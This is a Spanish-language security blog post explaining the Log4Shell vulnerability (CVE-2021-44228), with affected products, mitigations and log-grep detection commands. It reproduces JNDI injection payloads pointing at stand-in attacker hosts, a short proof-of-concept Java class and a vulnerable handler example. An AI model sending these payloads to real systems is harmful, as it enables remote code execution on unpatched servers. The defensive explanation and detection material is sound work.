miércoles, 7 de septiembre de 2022
lunes, 5 de septiembre de 2022
sábado, 3 de septiembre de 2022
viernes, 2 de septiembre de 2022
martes, 30 de agosto de 2022
sábado, 27 de agosto de 2022
lunes, 8 de agosto de 2022
domingo, 7 de agosto de 2022
miércoles, 3 de agosto de 2022
lunes, 1 de agosto de 2022
domingo, 31 de julio de 2022
sábado, 30 de julio de 2022
viernes, 29 de julio de 2022
jueves, 28 de julio de 2022
miércoles, 27 de julio de 2022
lunes, 25 de julio de 2022
sábado, 23 de julio de 2022
viernes, 22 de julio de 2022
viernes, 15 de julio de 2022
jueves, 14 de julio de 2022
sábado, 9 de julio de 2022
viernes, 8 de julio de 2022
miércoles, 6 de julio de 2022
domingo, 3 de julio de 2022
sábado, 2 de julio de 2022
domingo, 26 de junio de 2022
martes, 21 de junio de 2022
sábado, 18 de junio de 2022
viernes, 17 de junio de 2022
lunes, 13 de junio de 2022
miércoles, 8 de junio de 2022
viernes, 3 de junio de 2022
jueves, 26 de mayo de 2022
sábado, 21 de mayo de 2022
viernes, 13 de mayo de 2022
miércoles, 20 de abril de 2022
lunes, 11 de abril de 2022
sábado, 9 de abril de 2022
miércoles, 30 de marzo de 2022
viernes, 25 de marzo de 2022
jueves, 24 de marzo de 2022
Vulnerabilidad crítica en Apache Log4j bautizada como Log4Shell
Vulnerabilidad crítica en Apache Log4j bautizada como
Log4Shell afecta incluso a Minecraft
viernes, 10 de diciembre de 2021 | Publicado por el-brujo
Una vulnerabilidad zero-day
recientemente descubierta en la biblioteca de registro de Java Apache Log4j,
ampliamente utilizada (iCloud, Steam, incluso expotable en el chat de
Minecraft), es muy fácil de explotar y permite a los atacantes obtener el
control total de los servidores afectados. La vulnerabilidad, clasificada como
CVE-2021-44228, es muy grave ya que permite la ejecución remota de código sin
autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca
de registro de Java. Afecta Apache Struts2, Apache Solr, Apache Druid,
Apache Flink.
Cualquier compañía que en sus servidores o aplicaciones use Apache Log4j, una biblioteca de registro de Java, se está enfrentando a una de las vulnerabilidades más importantes de la última década. Se trata de Log4Shell (CVE-2021-44228), un fallo de seguridad crítico que da como resultado la ejecución remota de código con potencial para tomar el control del equipo. La vulnerabilidad fue descubierta por Chen Zhaojun de Alibaba Cloud Security Team y por su importancia y alcance se compara con Heartbleed y WannaCry.
Log4j 2 es una biblioteca de
registro de Java de código abierto desarrollada por Apache Foundation. Log4j 2
se usa ampliamente en muchas aplicaciones y está presente, como dependencia, en
muchos servicios. Estos incluyen aplicaciones empresariales, así como numerosos
servicios en la nube.
Numerosas apps que utilizan
log4j, desde Minecraft hasta Elasticsearch, Zrails, Hadoop, Kafka, Kibana,
Solr, Spark, Struts, Tapestry, Wicket...
- Apache Struts
- Apache Solr
- Apache Druid
- Apache Flink
- ElasticSearch
- Flume
- Apache Dubbo
- Logstash
- Kafka
- Spring-Boot-starter-log4j2
CVE-2021-44228
- Log4Shell
Una vulnerabilidad zero-day
recientemente descubierta en la biblioteca de registro de Java Apache Log4j,
ampliamente utilizada, es fácil de explotar y permite a los atacantes obtener
el control total de los servidores afectados. La vulnerabilidad, clasificada
como CVE-2021-44228, es muy grave y permite la ejecución remota de código sin
autenticación cuando el usuario que ejecuta la aplicación utiliza la biblioteca
de registro de Java.
El CERT de Nueva Zelanda advierte
que ya está siendo explotada a lo bestia. Una vulnerabilidad de alta gravedad
(CVE-2021-44228) que afecta a múltiples versiones de la utilidad Apache Log4j 2
se reveló públicamente a través del GitHub del proyecto el 9 de diciembre de
2021. La vulnerabilidad afecta a las versiones 2.0 a 2.14.1 de Apache Log4j 2.
La vulnerabilidad permite la
ejecución remota de código no autenticado. Log4j 2 es una biblioteca de
registro de Java de código abierto desarrollada por Apache Foundation. Log4j 2
se usa ampliamente en muchas aplicaciones y está presente, como dependencia, en
muchos servicios. Estos incluyen aplicaciones empresariales, así como numerosos
servicios en la nube.
Se puede acceder a la
vulnerabilidad a través de una multitud de métodos específicos de la
aplicación. Efectivamente, cualquier escenario que permita que una conexión
remota suministre datos arbitrarios que una aplicación que utiliza la
biblioteca Log4j escribe en archivos de registro es susceptible de explotación.
Es muy probable que esta vulnerabilidad se explote en la naturaleza y es
probable que afecte a miles de organizaciones. Esta vulnerabilidad representa
un riesgo real significativo para los sistemas afectados.
Al analizar CVE-2021-44228,
Randori ha determinado lo siguiente:
- Instalaciones predeterminadas de software
empresarial ampliamente utilizado son vulnerables.
- La vulnerabilidad se puede aprovechar de forma
fiable y sin autenticación
- La vulnerabilidad afecta a múltiples versiones
de Log4j 2
- La vulnerabilidad permite la ejecución remota
de código cuando el usuario ejecuta la aplicación que utiliza la
biblioteca
Impacto JNDI - Java Naming and
Directory Interface
La biblioteca Log4j 2 se utiliza
con mucha frecuencia en el software empresarial Java. Debido a esta metodología
de implementación, el impacto es difícil de cuantificar. De manera similar a
otras vulnerabilidades de alto perfil, como Heartbleed y Shellshock, creemos
que se descubrirán un número cada vez mayor de productos vulnerables en las
próximas semanas. Debido a la facilidad de explotación y la amplitud de la
aplicabilidad, sospechamos que los actores de ransomware comenzarán a
aprovechar esta vulnerabilidad de inmediato.
log4j soporta
- (AFAIK) LDAP
- RMI (Remote Method Invocation)
Exploit:
$(jndi):ldap://sitio-malicioso.com/exp
$(jndi):rdmi://sitio-malicioso.com/exp
¿Cómo
funciona la vulnerabilidad?
Diagrama completo:
Recomendaciones
- Mitigaciones
Si crees que puedes verte
afectado por CVE-2021-44228, revisa los registros de las aplicaciones afectadas
en busca de actividad inusual. Si se encuentran anomalías, te recomendamos que
asumas que se trata de un incidente activo, que te has visto comprometido y que
respondas en consecuencia.
La actualización a las versiones
parcheadas de Log4j 2 o las aplicaciones afectadas eliminará esta
vulnerabilidad. Randori recomienda a cualquier organización que crea que puede
verse afectada que se actualice urgentemente a una versión parcheada.
Si no es posible aplicar parches,
se recomienda encarecidamente a las organizaciones que apliquen la mitigación
temporal a continuación y supervisen de cerca las aplicaciones afectadas para
detectar comportamientos anómalos.
Para mitigar la vulnerabilidad en
lugar de actualizar Log4 2j, el siguiente parámetro debe establecerse en verdadero
al iniciar la máquina virtual Java:
Para agregar la bandera, los
usuarios deben ir a su lanzador, abrir la pestaña de instalaciones, seleccionar
la instalación en uso y hacer clic en "...">
"Editar"> "MÁS OPCIONES", y pegar
-Dlog4j2.formatMsgNoLookups = true al final de las banderas JVM.
log4j2.formatMsgNoLookups=True
Exploit público (PoC)
package demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class demo {
public static Logger logger= LogManager.getLogger();
public static void main(String[] args){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://attacker.com/test}");
}
}
Para aprovechar inicialmente la
vulnerabilidad, un atacante solo necesita proporcionar literalmente la
referencia JNDI (el texto que puede ver en el código fuente). Cuando log4j registra
esa entrada, analizará el texto, verá la referencia e intentará resolverlo. Y
aquí es donde está realmente el problema.
Explicación y ejemplo de la
explotación completa:
https://isc.sans.edu/diary/28120
Parche de Apache:
public static List<String> getLocalIps() {
List<String> localIps = new
ArrayList<>();
localIps.add("localhost");
localIps.add("127.0.0.1");
Detectar
la presencia de Log4j en sistemas (Linux y Windows)
Detectar intentos
de explotación de la vulnerabilidad en sus registros (Linux)
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+
Se han publicado varias
herramientas para el análisis de dominios:
- https://github.com/fullhunt/log4j-scan
- https://github.com/alexandre-lavoie/python-log4rce
- https://github.com/nice0e3/log4j_POC
¿Quién
está afectado? - Jugadores de Minecraft
- Fallo CRÍTICO detectado en Minecraft en TODAS
sus versiones hasta la 1.17
- Permite RCE tanto en el servidor como en todos
los clientes.
- Se puede explotar con sólo enviar un mensaje
en el chat
Versiones vulnerables:
- Todas las versiones de MC Vanilla
- Spigot/Forge
- BungeeCoord
Versiones parcheadas en las
últimas horas:
- Paper
- Sponge/Magma
- FlameCord
Muchos, muchos servicios son
vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube
como Steam, Apple iCloud y aplicaciones como Minecraft son vulnerables.
Cualquiera que use Apache Struts
probablemente sea vulnerable. Hemos visto vulnerabilidades similares explotadas
antes en brechas como la filtración de datos de Equifax de 2017.
Muchos proyectos de código
abierto como el servidor de Minecraft, Paper, ya han comenzado a parchear el
uso de log4j.
Actualizaciones (3 horas después
de la publicación): según esta publicación de blog (en inglés), las versiones
de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el
vector de ataque LDAP. En estas versiones,
com.sun.jndi.ldap.object.trustURLCodebase se establece en falso, lo que
significa que JNDI no puede cargar una base de código remota utilizando LDAP.
Sin embargo, existen otros
vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE.
Dependiendo del código que esté presente en el servidor, un atacante podría
aprovechar este código existente para ejecutar una carga útil. En esta
publicación de blog se analiza un ataque dirigido a la clase
org.apache.naming.factory.BeanFactory, presente en los servidores Apache
Tomcat.
Versiones de Apache log4j
afectadas
2.0 <= Apache log4j <=
2.14.1
Ejemplo
Código vulnerable
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log =
Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User
Agent and logs it back.
* This is basically pseudo-code to explain the
vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent =
he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the
attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to:
${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " +
userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Pasos de explotación
- Los datos del usuario se envían al servidor (a
través de cualquier protocolo),
- El servidor registra los datos en la
solicitud, que contienen la carga útil maliciosa: $ {jndi: ldap:
//attacker.com/a} (donde attacker.com es un servidor controlado por el
atacante),
- La vulnerabilidad log4j es provocada por esta
carga útil y el servidor realiza una solicitud a attacker.com a través de
"Java Naming and Directory Interface" (JNDI),
- Esta respuesta contiene una ruta a un archivo
de clase Java remoto (por ejemplo,
http://second-stage.attacker.com/Exploit.class) que se inyecta en el
proceso del servidor,
- Esta carga útil inyectada desencadena una
segunda etapa y permite que un atacante ejecute código arbitrario
Detección
del ataque e IOCs
Florian Roth (aka cyb3rops) creó un repositorio con algunas
opciones para la detección y la mitigación así como las reglas de YARA
correspondientes. Estos comandos buscan distintos intentos de explotación en /var/log:
# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i
'\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
# sudo find /var/log/test/ -type f -exec sh -c "cat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i
'jndi:(ldap[s]?|rmi|dns):'"\;
# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c
"zcat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"
\;
Se han publicado las reglas de Suricata y Snort y un plugin para Burp.
Ya se ha iniciado la explotación masiva de esta vulnerabilidad
principalmente por operadores de malware para el criptominado. GreyNoise ha
publicado un listado de IPs, IOCs y Hashes de atacantes, las que
corresponden principalmente a nodos de salida TOR.
Fuentes:
https://www.lunasec.io/docs/blog/log4j-zero-day/